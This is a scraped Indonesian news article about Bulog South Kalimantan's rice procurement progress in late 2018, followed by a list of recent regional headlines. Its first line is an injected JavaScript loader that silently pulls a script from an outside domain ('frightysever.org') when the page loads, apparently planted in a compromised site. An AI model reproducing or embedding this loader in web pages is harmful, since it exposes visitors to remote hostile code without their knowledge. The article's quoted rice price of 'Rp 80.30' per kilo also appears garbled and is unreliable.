(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Bulog Kalsel Optimis Sisa 2 Bulan Terakhir Target Serapan Beras Tercapai


BANJARMASIN, Penyerapan beras di Bulog Divre Kalsel hingga akhir Oktober 2018 ini baru tercapai  60 persen. Diharapkan, hingga sisa dua bulan jelang tutup tahun penyerapan beras bisa tercapai hingga 80-100 persen.

Hal ini disampaikan Kepala Bulog Divre Kalsel Awaludin Iqbal menyikapi kondisi pasokan beras masyarakat. “Kami harapkan 100 persen bisa terserap. Tapi kalau tidak bisa tercapai, ya 80 persen masih bisa dikejar,” terangnya.

Jika melihat data September, serapan beras dari petani lokal oleh Bulog di Banua baru mencapai 50 persen dari 22.000 ton yang ditargetkan. Sehingga dalam satu bulan ini, baru ada peningkatan sebesar 10 persen.

“Berkaca pada data beberapa tahun lalu, memang biasanya penyerapan beras petani lokal yang paling besar ada di tiga bulan sebelum tutup tahun. Karena itulah kita masih optimis penyerapan beras lokal masih bisa dikejar sesuai target,” katanya.

Ada pun harga beras yang di Bulog dari para petani lokal maksimal diangka Rp 80.30 perkilonya. Angka ini menurutnya sudah cukup baik dalam membantu untuk ikut mensejahterakan para petani lokal yang ada di Banua.

“Kita siap membeli berapa pun beras lokal yang dijual petani kepada Bulog selama harganya tidak lebih pada Rp 80.30 perkilonya.  Kalau lebih dari itu kami tentunya tidak bisa, mengingat masalah standar pembelian harga Bulog sudah diatur oleh pemerintah,” tambahnya.

Terkait kebijakan Pemerintah yang menyuplai beras impor untuk kebutuhan nasional, dirinya menegaskan tidak akan berpengaruh terhadap pengurangan penyerapan beras lokal oleh Bulog dari para petani.

“Itu beras impor hanya untuk cadangan saja jika memang diperlukan dan tidak ada hubungannya dengan berkurangnya target beras petani yang diserap Bulog. Jadi para petani saya harapkan untuk tidak khawatir,” tegasnya.

Bulog Kalsel juga selalu melakukan monitoring dan koordinasi tentang harga beras maupun sembako di pasaran. Menurut hasil pantauan Awaludin, saat ini stok di masyarakat masih cukup. Demikian juga harga masih menunjukkan kondisi yang stabil di lapangan.

“Jika beras ukurannya dari Bulog sangat aman hingga tahun depan. Beras dari kami kuat baik kebutuhan rutin, tapi kami bisa melakukan operasi pasar kalau sepanjang memang diperlukan,” ungkapnya.

Sementara terkait pasokan daging, Awaludin juga mengatakan masih cukup. “Stok tersedia sekarang sekitar 9 ton. Cukup untuk tiga sampai empat minggu ke depan,” terangnya. (cel)


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

3 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

7 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

9 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

10 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

10 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

12 jam ago

This website uses cookies.